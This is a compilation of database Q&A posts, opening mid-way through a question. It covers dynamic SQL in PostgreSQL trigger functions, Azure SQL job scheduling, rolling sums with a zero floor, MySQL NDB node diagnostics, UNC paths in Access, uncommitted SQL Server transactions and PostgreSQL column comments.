RETURNS TRIGGER AS
$func$

DECLARE
 model_cd text;
 processdate text;

BEGIN
 model_cd := TG_ARGV[0];
 processdate := TG_ARGV[1];

 EXECUTE
  $x$INSERT INTO tb_moldsummary AS t
     SELECT $1.machine
          , $1.model
          , split_part(lot, '_', 1)
          , right(lot, position('_' IN lot) * -1)
          , COUNT(lot)
          , $1.datetimestamp
     FROM   model$x$ || to_char(now(), 'YYYYMM') || '
     WHERE  lot = $1.lot
     AND    machine = $1.machine
     GROUP  BY machine, model, lot
     ON     CONFLICT ON CONSTRAINT tb_summary_unique
     DO     UPDATE
     SET    machine = $1.machine
          , totalshots = t.totalshots + 1
          , datetimestamp = $1.datetimestamp'
 USING NEW;
 RETURN NEW;
END
$func$
LANGUAGE plpgsql;

Trigger:

DO$$
BEGIN

EXECUTE $x$CREATE TRIGGER insert_data_trigger
           AFTER INSERT ON modelsample$x$ || to_char(now(), 'YYYYMM') ||
           ' FOR EACH ROW EXECUTE PROCEDURE
             insert_data_func' ||
            (''modelsample''' || ',' || to_char(now(), 'YYYYMM') ||  ')';
END
$$;

The trigger passes the model and process date parameters to the trigger function insert_data_func(). But I get this eror msg.:

  ERROR:  relation "model_cd201707" does not exist
  LINE 9:          FROM   model_cd201707

How to properly use the "$x$" on the insert_data_func() function because I think that's the reason why the model name does not get the value from model_cdvariable.

The error msg says relation "model_cd201707" does not exist. I suppose there is no table of that name in the search_path then? There is a confusion of table names in your question. modelsample..., model_cd..., model... tb_moldsummary. Something is not right here ...

That aside, after assigning passed parameter values to the variables model_cd and processdate you are not using them at all (yet).

Assuming your 2 passed parameters are supposed to be used to build the table name, it might work like this:

CREATE OR REPLACE FUNCTION trg_insert_data_func()
  RETURNS TRIGGER AS
$func$
BEGIN
   EXECUTE format(
   $x$INSERT INTO tb_moldsummary AS t
      SELECT $1.machine
           , $1.model
           , split_part($1.lot, '_', 1)
           , right($1.lot, position('_' IN lot) * -1)
           , COUNT(*)  -- never null in this query
           , $1.datetimestamp
      FROM   %I
      WHERE  lot = $1.lot
      AND    machine = $1.machine
      GROUP  BY machine, model, lot
      ON     CONFLICT ON CONSTRAINT tb_summary_unique  -- constraint has same name?
      DO     UPDATE
      SET    machine = $1.machine
           , totalshots = t.totalshots + 1
           , datetimestamp = $1.datetimestamp
   $x$, TG_ARGV[0]
   )
   USING NEW;
   RETURN NEW;
END
$func$
LANGUAGE plpgsql;

Trigger (passing a single concatenated parameter as table name):

DO
$$
BEGIN
   EXECUTE format(
     'CREATE TRIGGER insert_data_trigger
      AFTER INSERT ON %1$s
      FOR EACH ROW EXECUTE PROCEDURE trg_insert_data_func(%1$L)'
    , 'modelsample' || to_char(now(), 'YYYYMM')
   );
END
$$;

Note how I use %1$s for the (unquoted) table name in the SQL statement and %1$L for the parameter (quoted as string literal). %I is not needed in this case for a known legal identifier. See the manual on format() for details.

You may want to schema-qualify function and table names to be unambiguous. Like public.modelsample. More:

Special syntax sth.name() in the CREATE FUNCTION statement, what does it mean?

Be aware that the date component built into the trigger definition is immutable once created. Only the creating statement itself (and the trigger function) are "dynamic".

Related:

Trigger function taking column names as parameters to modify the row

But that seems like needless complication. No need to pass the name of the table for which the trigger is called. Some special variables are available automatically in plpgsql trigger functions. Among others: TG_TABLE_SCHEMA and TG_TABLE_NAME. So use dynamic SQL in the trigger function, but the trigger itself can be simple and static:

CREATE OR REPLACE FUNCTION trg_insert_data_func()
  RETURNS TRIGGER AS
$func$
BEGIN
   EXECUTE format(
   $x$INSERT INTO tb_moldsummary AS t
      SELECT $1.machine
           , $1.model
           , split_part($1.lot, '_', 1)
           , right($1.lot, position('_' IN lot) * -1)
           , COUNT(*)  -- never null in this query
           , $1.datetimestamp
      FROM   %I.%I     -- !!
      WHERE  lot = $1.lot
      AND    machine = $1.machine
      GROUP  BY machine, model, lot
      ON     CONFLICT ON CONSTRAINT tb_summary_unique  -- constraint has same name?
      DO     UPDATE
      SET    machine = $1.machine
           , totalshots = t.totalshots + 1
           , datetimestamp = $1.datetimestamp
   $x$, TG_TABLE_SCHEMA, TG_TABLE_NAME   -- !!
   )
   USING NEW;
   RETURN NEW;
END
$func$
LANGUAGE plpgsql;

And no parameters in the trigger itself.


How to create a JOB for Azure SQL? I'm trying to create some jobs for our Azure servers (for sql databases).

I'm reading about it on the internet and tried to find some questiosn here with no success.

Theres a link saying I need to download something in the market place. I can't even find such app by looking for it.

Is there a way to create a job as we create on a SQL Server?

If you are using Azure SQL Servers rather than Managed Instances or on-prem instances in VMs†, and are trying to create SQL Agent jobs†, then you can not: SQL Agent Jobs are not supported for Azure SQL.

There are a number of ways to automate tasks in Azure SQL. The official way it is heading appears to be Elastic Database Jobs, though this feature is still officiall in preview.

See these links for a bit more detail:
https://docs.microsoft.com/en-us/azure/sql-database/sql-database-job-automation-overview
https://docs.microsoft.com/en-us/azure/sql-database/elastic-jobs-overview

[†] If you are using managed or VM instances, or are looking to create some other form of job, edit your question accordingly.


Set non-negative floor for rolling sum, in PostgreSQL This is a really fun question (asked for SQL Server) and I wanted to try it out to see how it was done in PostgreSQL. Let's see if anyone else can do it better. Taking this data,
CREATE TABLE foo
AS
  SELECT pkid::int, numvalue::int, groupid::int
  FROM ( VALUES
    ( 1,  -1   , 1 ),
    ( 2,  -2   , 1 ),
    ( 3,  5    , 1 ),
    ( 4,  -7   , 1 ),
    ( 5,  1    , 2 )
  ) AS t(pkid, numvalue, groupid);

We're trying to generate this:
PKID   RollingSum    GroupID
----------------------------- ## Explanation:
1      0             1        ## 0 - 1 < 0  => 0
2      0             1        ## 0 - 2 < 0  => 0
3      5             1        ## 0 + 5 > 0  => 5
4      0             1        ## 5 - 7 < 0  => 0

The problem is described as,

When adding a negative number will cause the sum to be negative, the limit will be activated to set the result as zero. Subsequent addition should be based on this adjusted value, instead of the original rolling sum.
The expected result should be achieved using addition. If the fourth number changes from -7 to -3, the fourth result should be 2 instead of 0
If a single sum can be provided rather than a few rolling numbers, it would also be acceptable. I can use stored procedures to implement a non-negative addition, but that would be too low-level.
The real life problem for this is that we record order placed as positive amount and cancelled as negative. Due to connectivity issues customers may click the cancel button more than once, which will result in multiple negative values being recorded. When calculating our revenue, "zero" need to be a boundary for sales.

Their solutions are all using recursion.

This is how I solved a similar problem on Teradata using nested OLAP-functions:

SELECT dt.*,
   -- find the lowest previous CumSum < 0
   -- and adjust the current CumSum to zero
   Max(CASE WHEN CumSum < 0 THEN -CumSum ELSE 0 end)
       Over (PARTITION BY groupid
             ORDER BY pkid
             ROWS Unbounded Preceding)
   + CumSum AS AdjustedSum
FROM
 (
   SELECT pkid, numvalue, groupid,
      -- calculate a standard cumulative sum
      Sum(numvalue)
      Over (PARTITION BY groupid
            ORDER BY pkid
            ROWS Unbounded Preceding) AS CumSum
   FROM foo
 ) AS dt


Better diagnostics when starting ndb nodes? I have an ubuntu linux server that uses mysql cluster 7.2.5 x64.

Whenever I start an ndb node and check with ndb_mgm -e show, it stays in "starting" state for a long time. When I use top to check the process it takes 70-90% CPU which means it's doing something.

Is there  a way to check what it's doing and estimate when it's going to finish?

You can view what is going on with ndb_mgm -e 'N report eventlog' where N is the data node's nodeid. This won't necessarily give you an estimate of when it will be finished but it can be used to verify that stuff is indeed going on and that the ndbd isn't just spinning indefinitely.

ndb_mgm -e 'all status' is also useful, as it will show you the current phase your data nodes are in. You can read more about phases in Summary of NDB Cluster Start Phases in the MySQL 5.5 Reference Manual.


Referring to a network location without volume label in VBA for Access 2013 I run a database at work in Access 2013. The VBA corrupted after a day from the amount of people using it, so I attempted to split the database to solve the problem. The split worked after I decompiled the database, but then when other users tried to access it, the front end couldn't find the back end. This is because we all have the network drive it is mounted on assigned a different volume label - ie mine is set to W:/ and others have H:/, X:/, etc.

As the database splitting is a built-in function, as far as I could see there is no way to edit the attributes of the split, or even choose where to save the back-end. I'm pretty sure there's no way around this (but if there is, please let me know) so instead I'm just going to make sure I back up the database every day. I found some code for it in this thread Backup Access Database Daily/Weekly

Which backs the database up every time it's opened, but again it refers to the location to back it up in with the specific volume label. Is there any way to refer to the location by its full location address rather than W:\location? The full name of the network drive looks something like \filesvr2\NetworkFolder\SubFolder\Database

Any help with my first post would be appreciated!

Using the Linked Table Manager dialog, you can relink the front-end to the back end tables.  When you browse to select the back-end file, use a standard UNC network path instead of mapped drives.  For example, you would browse to "\filesvr2\NetworkFolder\SubFolder\Database.accdb".  This makes the front-end portable between any PC on your LAN that can resolve that file server by name.


run job with uncommitted transaction - how to find the transaction? is it still active? By mistake I have run the job I just put into production,
but the COMMIT TRANSACTION was commented out.

when I look at the job log, it printed that it did my updates with no problem.

when I run

dbcc opentran

it says:

  No active open transactions. DBCC execution completed. If DBCC printed
  error messages, contact your system administrator.

no locks or blocks are in place,
but where is my transaction?

the code for my job is here:
with the commit transaction commented out

--================================================================
--RUN THE UPDATE
--================================================================

BEGIN TRANSACTION T1

SET TRANSACTION ISOLATION LEVEL REPEATABLE READ

SELECT @@TRANCOUNT

BEGIN TRY

UPDATE DEStock.DBO.ItemStock
SET     QtyOnOrder = 0 ,
        DueDate = NULL
FROM DEStock.DBO.ItemStock T
INNER JOIN TABLEBACKUPS.DBO.__RADHE R
        ON T.ITEMNO = R.ITEMNO

print cast ( @@rowcount  as varchar) + ' updating DEStock.DBO.ItemStock '

-- no updates for france
--UPDATE FRStock.DBO.ItemStock
--SET     QtyOnOrder = 0 ,
--        DueDate = NULL
--FROM FRStock.DBO.ItemStock T
--INNER JOIN TABLEBACKUPS.DBO.__RADHE R
--        ON T.ITEMNO = R.ITEMNO

--print cast ( @@rowcount  as varchar) + ' updating FRStock.DBO.ItemStock '

-- us is on a different schedule
--UPDATE USStock.DBO.ItemStock
--SET     QtyOnOrder = 0 ,
--        DueDate = NULL
--FROM USStock.DBO.ItemStock T
--INNER JOIN TABLEBACKUPS.DBO.__RADHE R
--        ON T.ITEMNO = R.ITEMNO

--print cast ( @@rowcount  as varchar) + ' updating USStock.DBO.ItemStock '

UPDATE EUStock.DBO.ItemStock
SET     QtyOnOrder = 0 ,
        DueDate = NULL
FROM EUStock.DBO.ItemStock T
INNER JOIN TABLEBACKUPS.DBO.__RADHE R
        ON T.ITEMNO = R.ITEMNO

print cast ( @@rowcount  as varchar) + ' updating EUStock.DBO.ItemStock '

--COMMIT TRANSACTION T1

END TRY
BEGIN CATCH

    DECLARE @ErrorMessage NVARCHAR(4000);
    DECLARE @ErrorSeverity INT;
    DECLARE @ErrorState INT;

    WHILE @@TRANCOUNT > 0
         ROLLBACK TRANSACTION

    SELECT
        @ErrorMessage = ERROR_MESSAGE(),
        @ErrorSeverity = ERROR_SEVERITY(),
        @ErrorState = ERROR_STATE();

    RAISERROR (@ErrorMessage, -- Message text.
               @ErrorSeverity, -- Severity.
               @ErrorState -- State.
               );
END CATCH

the table used in the join comes from here:

how to insert a list of varchar values, into a single column table?

Non-committed transactions will be automatically rolled-back if the session is terminated.
You can easily test this by:
USE tempdb;

CREATE TABLE dbo.TestTran
(
    ID INT NOT NULL
        CONSTRAINT PK_TestTran
        PRIMARY KEY CLUSTERED
        IDENTITY(1,1)
);

BEGIN TRAN
INSERT INTO dbo.TestTran DEFAULT VALUES;
SELECT * FROM dbo.TestTran;

Results will show a row inserted into dbo.TestTran.
Now, disconnect and reconnect the session.
--disconnect and reconnect

USE tempdb;

SELECT * FROM dbo.TestTran;

The results from the above SELECT statement will return no results since the non-committed transaction was automatically rolled back when the session was disconnected.
This is a primary tenet of all ACID-compliant database management systems.

Atomicity
A transaction is a unit of work in which a series of operations occur between the BEGIN TRANSACTION and END TRANSACTION statements of an application. A transaction executes exactly once and is atomic — all the work is done or none of it is.

Once you disconnect the session (or it completes without a COMMIT TRAN), the transaction will rollback to ensure none of the work has been done since the BEGIN TRAN statement.


Does Postgres support stored column labels that can be queried? I'm not a DBA but seem to recall that there was a SQL database that stored column labels (preferred column headings that can be printed on reports). Does Postgres support labels such as these?

You might be refereing to catalog level comments, which can be used to get a description of any table and or column in the database.

Those are created using:

COMMENT ON TABLE yourtable IS 'A good description';
COMMENT ON COLUMN yourtable.yourcolumn IS 'Column desc';

To query those, you can use this kind of query:

SELECT c.table_schema,c.table_name,c.column_name,pgd.description
FROM pg_catalog.pg_statio_all_tables as st
inner join pg_catalog.pg_description pgd on (pgd.objoid=st.relid)
inner join information_schema.columns c on (pgd.objsubid=c.ordinal_position
and  c.table_schema=st.schemaname and c.table_name=st.relname)
where table_name = 'yourtablename'

Beware however that this cannot be localized.